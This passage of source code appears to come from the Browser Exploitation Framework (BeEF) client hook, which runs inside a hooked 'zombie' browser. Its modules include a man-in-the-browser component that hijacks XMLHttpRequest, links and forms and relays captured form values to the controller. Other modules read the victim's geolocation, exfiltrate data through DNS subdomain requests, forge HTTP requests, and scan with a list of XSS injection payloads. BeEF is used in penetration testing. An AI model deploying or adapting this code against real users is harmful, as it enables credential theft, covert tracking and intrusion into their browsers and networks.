  9426. } catch(e) {
  9427. return -1;
  9428. }
  9429. return 1;
  9430. }
  9431. }
  9432. },
  9433.  
  9434. /**
  9435. * Returns the internal IP address of the zombie.
  9436. * @return: {String} the internal ip of the zombie.
  9437. * @error: return -1 if the internal ip cannot be retrieved.
  9438. */
  9439. getLocalAddress: function() {
  9440. if(!this.hasJava) return false;
  9441.  
  9442. this.initializeSocket();
  9443.  
  9444. try {
  9445. this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  9446. this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
  9447.  
  9448. return this.sock.getLocalAddress().getHostAddress();
  9449. } catch(e) { return false; }
  9450. },
  9451.  
  9452. /**
  9453. * Returns the internal hostname of the zombie.
  9454. * @return: {String} the internal hostname of the zombie.
  9455. * @error: return -1 if the hostname cannot be retrieved.
  9456. */
  9457. getLocalHostname: function() {
  9458. if(!this.hasJava) return false;
  9459.  
  9460. this.initializeSocket();
  9461.  
  9462. try {
  9463. this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  9464. this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
  9465.  
  9466. return this.sock.getLocalAddress().getHostName();
  9467. } catch(e) { return false; }
  9468. }
  9469.  
  9470. };
  9471.  
  9472. beef.regCmp('beef.net.local');
  9473.  
  9474.  
  9475. //
  9476. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  9477. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9478. // See the file 'doc/COPYING' for copying permission
  9479. //
  9480.  
  9481. /**
  9482. * @literal object: beef.init
  9483. * Contains the beef_init() method which starts the BeEF client-side
  9484. * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
  9485. *
  9486. * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
  9487. * and will have a new session id. The new session id will need to know
  9488. * the brwoser details. So sendback the browser details again.
  9489. */
  9490.  
  9491. beef.session.get_hook_session_id();
  9492.  
  9493. if (beef.pageIsLoaded) {
  9494. beef.net.browser_details();
  9495. }
  9496.  
  9497. window.onload = function () {
  9498. beef_init();
  9499. };
  9500.  
  9501. window.onpopstate = function (event) {
  9502. if (beef.onpopstate.length > 0) {
  9503. event.preventDefault;
  9504. for (var i = 0; i < beef.onpopstate.length; i++) {
  9505. var callback = beef.onpopstate[i];
  9506. try {
  9507. callback(event);
  9508. } catch (e) {
  9509. beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
  9510. }
  9511. return false;
  9512. }
  9513. }
  9514. };
  9515.  
  9516. window.onclose = function (event) {
  9517. if (beef.onclose.length > 0) {
  9518. event.preventDefault;
  9519. for (var i = 0; i < beef.onclose.length; i++) {
  9520. var callback = beef.onclose[i];
  9521. try {
  9522. callback(event);
  9523. } catch (e) {
  9524. beef.debug("window.onclose - couldn't execute callback: " + e.message);
  9525. }
  9526. return false;
  9527. }
  9528. }
  9529. };
  9530.  
  9531. /**
  9532. * Starts the polling mechanism, and initialize various components:
  9533. * - browser details (see browser.js) are sent back to the "/init" handler
  9534. * - the polling starts (checks for new commands, and execute them)
  9535. * - the logger component is initialized (see logger.js)
  9536. * - the Autorun Engine is initialized (see are.js)
  9537. */
  9538. function beef_init() {
  9539. if (!beef.pageIsLoaded) {
  9540. beef.pageIsLoaded = true;
  9541. beef.net.browser_details();
  9542.  
  9543. if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
  9544. setTimeout(function(){
  9545. beef.websocket.start();
  9546. beef.updater.execute_commands();
  9547. beef.logger.start();
  9548. }, parseInt(beef.websocket.ws_connect_timeout));
  9549. }else {
  9550. beef.net.browser_details();
  9551. beef.updater.execute_commands();
  9552. beef.updater.check();
  9553. beef.logger.start();
  9554. }
  9555. }
  9556. }
  9557.  
  9558.  
  9559. //
  9560. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  9561. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9562. // See the file 'doc/COPYING' for copying permission
  9563. //
  9564.  
  9565.  
  9566. beef.mitb = {
  9567.  
  9568. cid:null,
  9569. curl:null,
  9570.  
  9571. init:function (cid, curl) {
  9572. beef.mitb.cid = cid;
  9573. beef.mitb.curl = curl;
  9574. /*Override open method to intercept ajax request*/
  9575. var hook_file = "/hook.js";
  9576.  
  9577. if (window.XMLHttpRequest && !(window.ActiveXObject)) {
  9578.  
  9579. beef.mitb.sniff("Method XMLHttpRequest.open override");
  9580. (function (open) {
  9581. XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
  9582. // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
  9583. // or a request initiated by the MiTB itself.
  9584. if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
  9585. open.call(this, method, url, async, true);
  9586. }else {
  9587. var portRegex = new RegExp(":[0-9]+");
  9588. var portR = portRegex.exec(url);
  9589. var requestPort;
  9590. if (portR != null) { requestPort = portR[0].split(":")[1]; }
  9591.  
  9592. //GET request
  9593. if (method == "GET") {
  9594. //GET request -> cross-origin
  9595. if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
  9596. beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
  9597. window.open(url);
  9598. }else { //GET request -> same-origin
  9599. beef.mitb.sniff("GET [Ajax Request]: " + url);
  9600. if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
  9601. var title = "";
  9602. if (document.getElementsByTagName("title").length == 0) {
  9603. title = document.title;
  9604. } else {
  9605. title = document.getElementsByTagName("title")[0].innerHTML;
  9606. }
  9607. // write the url of the page
  9608. history.pushState({ Be:"EF" }, title, url);
  9609. }
  9610. }
  9611. }else{
  9612. //POST request
  9613. beef.mitb.sniff("POST ajax request to: " + url);
  9614. open.call(this, method, url, async, true);
  9615. }
  9616. }
  9617. };
  9618. })(XMLHttpRequest.prototype.open);
  9619. }
  9620. },
  9621.  
  9622. // Initializes the hook on anchors and forms.
  9623. hook:function () {
  9624. beef.onpopstate.push(function (event) {
  9625. beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
  9626. });
  9627. beef.onclose.push(function (event) {
  9628. beef.mitb.endSession();
  9629. });
  9630.  
  9631. var anchors = document.getElementsByTagName("a");
  9632. var forms = document.getElementsByTagName("form");
  9633. var lis = document.getElementsByTagName("li");
  9634.  
  9635. for (var i = 0; i < anchors.length; i++) {
  9636. anchors[i].onclick = beef.mitb.poisonAnchor;
  9637. }
  9638. for (var i = 0; i < forms.length; i++) {
  9639. beef.mitb.poisonForm(forms[i]);
  9640. }
  9641.  
  9642. for (var i = 0; i < lis.length; i++) {
  9643. if (lis[i].hasAttribute("onclick")) {
  9644. lis[i].removeAttribute("onclick");
  9645. /*clear*/
  9646. lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
  9647. /*override*/
  9648.  
  9649. }
  9650. }
  9651. },
  9652.  
  9653. // Hooks anchors and prevents them from linking away
  9654. poisonAnchor:function (e) {
  9655. try {
  9656. e.preventDefault;
  9657. if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
  9658. var title = "";
  9659. if (document.getElementsByTagName("title").length == 0) {
  9660. title = document.title;
  9661. } else {
  9662. title = document.getElementsByTagName("title")[0].innerHTML;
  9663. }
  9664. history.pushState({ Be:"EF" }, title, e.currentTarget);
  9665. }
  9666. } catch (e) {
  9667. beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
  9668. }
  9669. return false;
  9670. },
  9671.  
  9672. // Hooks forms and prevents them from linking away
  9673. poisonForm:function (form) {
  9674. form.onsubmit = function (e) {
  9675.  
  9676. // Collect <input> tags.
  9677. var inputs = form.getElementsByTagName("input");
  9678. var query = "";
  9679. for (var i = 0; i < inputs.length; i++) {
  9680. switch (inputs[i].type) {
  9681. case "submit":
  9682. break;
  9683. default:
  9684. query += inputs[i].name + "=" + inputs[i].value + '&';
  9685. break;
  9686. }
  9687. }
  9688.  
  9689. // Collect selected options from the form.
  9690. var selects = form.getElementsByTagName("select");
  9691. for (var i = 0; i < selects.length; i++) {
  9692. var select = selects[i];
  9693. query += select.name + "=" + select.options[select.selectedIndex].value + '&';
  9694. }
  9695.  
  9696. // We should be gathering 'submit' inputs as well, as there are
  9697. // applications demanding this parameter.
  9698. var submit = $j('*[type="submit"]', form);
  9699. if(submit.length) {
  9700. // Append name of the submit button/input.
  9701. query += submit.attr('name') + '=' + submit.attr('value');
  9702. }
  9703.  
  9704. if(query.slice(-1) == '&') {
  9705. query = query.slice(0, -1);
  9706. }
  9707.  
  9708. e.preventdefault;
  9709. beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
  9710. history.pushState({ Be:"EF" }, "", form.action);
  9711. return false;
  9712. }
  9713. },
  9714.  
  9715. // Fetches a hooked form with AJAX
  9716. fetchForm:function (url, query, target) {
  9717. try {
  9718. var y = new XMLHttpRequest();
  9719. y.open('POST', url, false, true);
  9720. y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  9721. y.onreadystatechange = function () {
  9722. if (y.readyState == 4 && y.responseText != "") {
  9723. target.innerHTML = y.responseText;
  9724. setTimeout(beef.mitb.hook, 10);
  9725. }
  9726. };
  9727. y.send(query);
  9728. beef.mitb.sniff("POST: " + url + "[" + query + "]");
  9729. return true;
  9730. } catch (x) {
  9731. return false;
  9732. }
  9733. },
  9734.  
  9735. // Fetches a hooked link with AJAX
  9736. fetch:function (url, target) {
  9737. try {
  9738. var y = new XMLHttpRequest();
  9739. y.open('GET', url, false, true);
  9740. y.onreadystatechange = function () {
  9741. if (y.readyState == 4 && y.responseText != "") {
  9742. target.innerHTML = y.responseText;
  9743. setTimeout(beef.mitb.hook, 10);
  9744. }
  9745. };
  9746. y.send(null);
  9747. beef.mitb.sniff("GET: " + url);
  9748. return true;
  9749. } catch (x) {
  9750. window.open(url);
  9751. beef.mitb.sniff("GET [New Window]: " + url);
  9752. return false;
  9753. }
  9754. },
  9755.  
  9756. // Fetches a window.location=http://domainname.com and setting up history
  9757. fetchOnclick:function (url) {
  9758. try {
  9759. var target = document.getElementsByTagName("html")[0];
  9760. var y = new XMLHttpRequest();
  9761. y.open('GET', url, false, true);
  9762. y.onreadystatechange = function () {
  9763. if (y.readyState == 4 && y.responseText != "") {
  9764. var title = "";
  9765. if (document.getElementsByTagName("title").length == 0) {
  9766. title = document.title;
  9767. }
  9768. else {
  9769. title = document.getElementsByTagName("title")[0].innerHTML;
  9770. }
  9771. history.pushState({ Be:"EF" }, title, url);
  9772. target.innerHTML = y.responseText;
  9773. setTimeout(beef.mitb.hook, 10);
  9774. }
  9775. };
  9776. y.send(null);
  9777. beef.mitb.sniff("GET: " + url);
  9778.  
  9779. } catch (x) {
  9780. // the link is cross-origin, so load the resource in a different tab
  9781. window.open(url);
  9782. beef.mitb.sniff("GET [New Window]: " + url);
  9783. }
  9784. },
  9785.  
  9786. // Relays an entry to the framework
  9787. sniff:function (result) {
  9788. try {
  9789. beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
  9790. } catch (x) {
  9791. }
  9792. return true;
  9793. },
  9794.  
  9795. // Signals the Framework that the user has lost the hook
  9796. endSession:function () {
  9797. beef.mitb.sniff("Window closed.");
  9798. }
  9799. };
  9800.  
  9801. beef.regCmp('beef.mitb');
  9802.  
  9803.  
  9804. //
  9805. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  9806. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9807. // See the file 'doc/COPYING' for copying permission
  9808. //
  9809.  
  9810. /*!
  9811. * @literal object: beef.geolocation
  9812. *
  9813. * Provides functionalities to use the geolocation API.
  9814. */
  9815. beef.geolocation = {
  9816.  
  9817. /**
  9818. * check if browser supports the geolocation API
  9819. */
  9820. isGeolocationEnabled: function(){
  9821. return !!navigator.geolocation;
  9822. },
  9823.  
  9824. /*
  9825. * given latitude/longitude retrieves exact street position of the zombie
  9826. */
  9827. getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
  9828.  
  9829. // fixes damned issues with jquery 1.5, like this one:
  9830. // http://bugs.jquery.com/ticket/8084
  9831. $j.ajaxSetup({
  9832. jsonp: null,
  9833. jsonpCallback: null
  9834. });
  9835.  
  9836. $j.ajax({
  9837. error: function(xhr, status, error){
  9838. beef.debug("[geolocation.js] openstreetmap error");
  9839. beef.net.send(command_url, command_id, "latitude=" + latitude
  9840. + "&longitude=" + longitude
  9841. + "&osm=UNAVAILABLE"
  9842. + "&geoLocEnabled=True");
  9843. },
  9844. success: function(data, status, xhr){
  9845. beef.debug("[geolocation.js] openstreetmap success");
  9846. var jsonResp = $j.parseJSON(data);
  9847.  
  9848. beef.net.send(command_url, command_id, "latitude=" + latitude
  9849. + "&longitude=" + longitude
  9850. // + "&osm=" + encodeURI(jsonResp.display_name)
  9851. + "&osm=tofix"
  9852. + "&geoLocEnabled=True");
  9853. },
  9854. type: "get",
  9855. url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
  9856. latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
  9857. });
  9858.  
  9859. },
  9860.  
  9861. /*
  9862. * retrieve latitude/longitude using the geolocation API
  9863. */
  9864. getGeolocation: function (command_url, command_id){
  9865.  
  9866. if (!navigator.geolocation) {
  9867. beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
  9868. return;
  9869. }
  9870. beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
  9871. navigator.geolocation.getCurrentPosition( //note: this is an async call
  9872. function(position){ // success
  9873. var latitude = position.coords.latitude;
  9874. var longitude = position.coords.longitude;
  9875. beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
  9876. beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
  9877.  
  9878. }, function(error){ // failure
  9879. beef.debug("[geolocation.js] error [%d] getting position", error.code);
  9880. switch(error.code) // Returns 0-3
  9881. {
  9882. case 0:
  9883. beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
  9884. return;
  9885. case 1:
  9886. beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
  9887. return;
  9888. case 2:
  9889. beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
  9890. return;
  9891. case 3:
  9892. beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
  9893. return;
  9894. }
  9895. beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
  9896. },
  9897. {enableHighAccuracy:true, maximumAge:30000, timeout:27000}
  9898. );
  9899. }
  9900. }
  9901.  
  9902.  
  9903. beef.regCmp('beef.geolocation');
  9904.  
  9905.  
  9906. //
  9907. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  9908. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9909. // See the file 'doc/COPYING' for copying permission
  9910. //
  9911.  
  9912. /*!
  9913. * @literal object: beef.net.dns
  9914. *
  9915. * request object structure:
  9916. * + msgId: {Integer} Unique message ID for the request.
  9917. * + domain: {String} Remote domain to retrieve the data.
  9918. * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
  9919. * + callback: {Function} Callback function to receive the number of requests sent.
  9920. */
  9921.  
  9922. beef.net.dns = {
  9923.  
  9924. handler: "dns",
  9925.  
  9926. send: function(msgId, data, domain, callback) {
  9927.  
  9928. var encode_data = function(str) {
  9929. var result="";
  9930. for(i=0;i<str.length;++i) {
  9931. result+=str.charCodeAt(i).toString(16).toUpperCase();
  9932. }
  9933. return result;
  9934. };
  9935.  
  9936. var encodedData = encodeURI(encode_data(data));
  9937.  
  9938. beef.debug(encodedData);
  9939. beef.debug("_encodedData_ length: " + encodedData.length);
  9940.  
  9941. // limitations to DNS according to RFC 1035:
  9942. // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
  9943. // o Domain names are limited to 255 characters in length (including dots)
  9944. // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
  9945. // o Subdomains are limited to 63 characters in length (including the trailing dot)
  9946.  
  9947. // DNS request structure:
  9948. // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
  9949. //max_length: 3. 3 . 3 . 63 . x
  9950.  
  9951. // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
  9952. // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
  9953. var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
  9954. var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
  9955. var max_data_segment_length = 63; // by RFC
  9956.  
  9957. beef.debug("max_data_segment_length: " + max_data_segment_length);
  9958.  
  9959. var dom = document.createElement('b');
  9960.  
  9961. String.prototype.chunk = function(n) {
  9962. if (typeof n=='undefined') n=100;
  9963. return this.match(RegExp('.{1,'+n+'}','g'));
  9964. };
  9965.  
  9966. var sendQuery = function(query) {
  9967. var img = new Image;
  9968. //img.src = "http://"+query;
  9969. img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
  9970. img.onload = function() { dom.removeChild(this); }
  9971. img.onerror = function() { dom.removeChild(this); }
  9972. dom.appendChild(img);
  9973.  
  9974. //experimental
  9975. //setTimeout(function(){dom.removeChild(img)},1000);
  9976. };
  9977.  
  9978. var segments = encodedData.chunk(max_data_segment_length);
  9979.  
  9980. var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
  9981.  
  9982. beef.debug(segments.length);
  9983.  
  9984. for (var seq=1; seq<=segments.length; seq++) {
  9985. sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
  9986. }
  9987.  
  9988. // callback - returns the number of queries sent
  9989. if (!!callback) callback(segments.length);
  9990.  
  9991. }
  9992.  
  9993. };
  9994.  
  9995. beef.regCmp('beef.net.dns');
  9996.  
  9997.  
  9998.  
  9999. //
  10000. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  10001. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10002. // See the file 'doc/COPYING' for copying permission
  10003. //
  10004.  
  10005. // beef.net.connection - wraps Mozilla's Network Information API
  10006. // https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
  10007. // https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
  10008. beef.net.connection = {
  10009.  
  10010. /* Returns the connection type
  10011. * @example: beef.net.connection.type()
  10012. * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
  10013. * @return: {String} connection type or 'unknown'.
  10014. **/
  10015. type: function () {
  10016. try {
  10017. var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  10018. var type = connection.type;
  10019. if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
  10020. } catch(e) {
  10021. beef.debug("Error retrieving connection type: " + e.message);
  10022. return 'unknown';
  10023. }
  10024. },
  10025.  
  10026. /* Returns the maximum downlink speed of the connection
  10027. * @example: beef.net.connection.downlinkMax()
  10028. * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
  10029. * @return: {String} downlink max or 'unknown'.
  10030. **/
  10031. downlinkMax: function () {
  10032. try {
  10033. var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  10034. var max = connection.downlinkMax;
  10035. if (max) return max; else return 'unknown';
  10036. } catch(e) {
  10037. beef.debug("Error retrieving connection downlink max: " + e.message);
  10038. return 'unknown';
  10039. }
  10040. }
  10041.  
  10042. };
  10043.  
  10044. beef.regCmp('beef.net.connection');
  10045.  
  10046.  
  10047.  
  10048. beef.net.cors = {
  10049.  
  10050. handler: "cors",
  10051.  
  10052. /**
  10053. * Response Object - used in the beef.net.request callback
  10054. */
  10055. response:function () {
  10056. this.status = null; // 500, 404, 200, 302, etc
  10057. this.headers = null; // full response headers
  10058. this.body = null; // full response body
  10059. },
  10060.  
  10061. /**
  10062. * Make a cross-origin request using CORS
  10063. *
  10064. * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
  10065. * @param url {String} url
  10066. * @param data {String} request body
  10067. * @param timeout {Integer} request timeout in milliseconds
  10068. * @param callback {Function} function to callback on completion
  10069. */
  10070. request: function(method, url, data, timeout, callback) {
  10071.  
  10072. var xhr;
  10073. var response = new this.response;
  10074.  
  10075. if (XMLHttpRequest) {
  10076. xhr = new XMLHttpRequest();
  10077.  
  10078. if ('withCredentials' in xhr) {
  10079. xhr.open(method, url, true);
  10080. xhr.timeout = parseInt(timeout, 10);
  10081. xhr.onerror = function() {
  10082. };
  10083. xhr.onreadystatechange = function() {
  10084. if (xhr.readyState === 4) {
  10085. response.headers = this.getAllResponseHeaders()
  10086. response.body = this.responseText;
  10087. response.status = this.status;
  10088. if (!!callback) {
  10089. if (!!response) {
  10090. callback(response);
  10091. } else {
  10092. callback('ERROR: No Response. CORS requests may be denied for this resource.')
  10093. }
  10094. }
  10095. }
  10096. };
  10097. xhr.send(data);
  10098. }
  10099. } else if (typeof XDomainRequest != "undefined") {
  10100. xhr = new XDomainRequest();
  10101. xhr.open(method, url);
  10102. xhr.onerror = function() {
  10103. };
  10104. xhr.onload = function() {
  10105. response.headers = this.getAllResponseHeaders()
  10106. response.body = this.responseText;
  10107. response.status = this.status;
  10108. if (!!callback) {
  10109. if (!!response) {
  10110. callback(response);
  10111. } else {
  10112. callback('ERROR: No Response. CORS requests may be denied for this resource.')
  10113. }
  10114. }
  10115. };
  10116. xhr.send(data);
  10117. } else {
  10118. if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
  10119. }
  10120.  
  10121. }
  10122.  
  10123. };
  10124.  
  10125. beef.regCmp('beef.net.cors');
  10126.  
  10127.  
  10128.  
  10129. //
  10130. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  10131. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10132. // See the file 'doc/COPYING' for copying permission
  10133. //
  10134.  
  10135. /*!
  10136. * @literal object: beef.net.requester
  10137. *
  10138. * request object structure:
  10139. * + method: {String} HTTP method to use (GET or POST).
  10140. * + host: {String} hostname
  10141. * + query_string: {String} The query string is a part of the URL which is passed to the program.
  10142. * + uri: {String} The URI syntax consists of a URI scheme name.
  10143. * + headers: {Array} contain the operating parameters of the HTTP request.
  10144. */
  10145. beef.net.requester = {
  10146.  
  10147. handler: "requester",
  10148.  
  10149. send: function(requests_array) {
  10150. for(var i=0; i<requests_array.length; i++){
  10151. request = requests_array[i];
  10152. if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
  10153. beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
  10154. beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
  10155. function(res, requestid) { beef.net.send('/requester', requestid, {
  10156. response_data: res.response_body,
  10157. response_status_code: res.status_code,
  10158. response_status_text: res.status_text,
  10159. response_port_status: res.port_status,
  10160. response_headers: res.headers});
  10161. }
  10162. );
  10163. }
  10164. }
  10165. };
  10166.  
  10167. beef.regCmp('beef.net.requester');
  10168.  
  10169.  
  10170. /*
  10171. * XSS Rays
  10172. * Legal bit:
  10173. * Do not remove this notice.
  10174. * Copyright (c) 2009 by Gareth Heyes
  10175. * Programmed for Microsoft
  10176. * gareth --at-- businessinfo -dot- co |dot| uk
  10177. * Version 0.5.5
  10178. *
  10179. * This license governs use of the accompanying software. If you use the software, you
  10180. * accept this license. If you do not accept the license, do not use the software.
  10181. * 1. Definitions
  10182. * The terms "reproduce," "reproduction," "derivative works," and "distribution" have the
  10183. * same meaning here as under U.S. copyright law.
  10184. * A "contribution" is the original software, or any additions or changes to the software.
  10185. * A "contributor" is any person that distributes its contribution under this license.
  10186. * "Licensed patents" are a contributor's patent claims that read directly on its contribution.
  10187. * 2. Grant of Rights
  10188. * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
  10189. * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
  10190. * 3. Conditions and Limitations
  10191. * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
  10192. * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
  10193. * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
  10194. * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
  10195. * (E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
  10196. */
  10197.  
  10198. /*
  10199. * XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru'
  10200. * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),
  10201. * if the vulnerability is triggered the JS code vector will contact back BeEF.
  10202. * Other aspects of the original code have been simplified and improved.
  10203. */
  10204. beef.net.xssrays = {
  10205. handler: "xssrays",
  10206. completed:0,
  10207. totalConnections:0,
  10208.  
  10209. // BeEF variables
  10210. xssraysScanId : 0,
  10211. hookedBrowserSession: "",
  10212. beefRayUrl: "",
  10213. // the 3 following variables are overridden via BeEF, in the Scan Config XssRays sub-tab.
  10214. crossDomain: false,
  10215. debug:false,
  10216. cleanUpTimeout:5000,
  10217.  
  10218. //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
  10219. vectors: [
  10220.  
  10221. {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
  10222. {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
  10223. {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
  10224. {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
  10225. {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
  10226. {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  10227. {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
  10228. {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  10229. {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
  10230. {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
  10231. {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
  10232. {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
  10233. {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
  10234. {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
  10235. {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
  10236. {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
  10237. {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
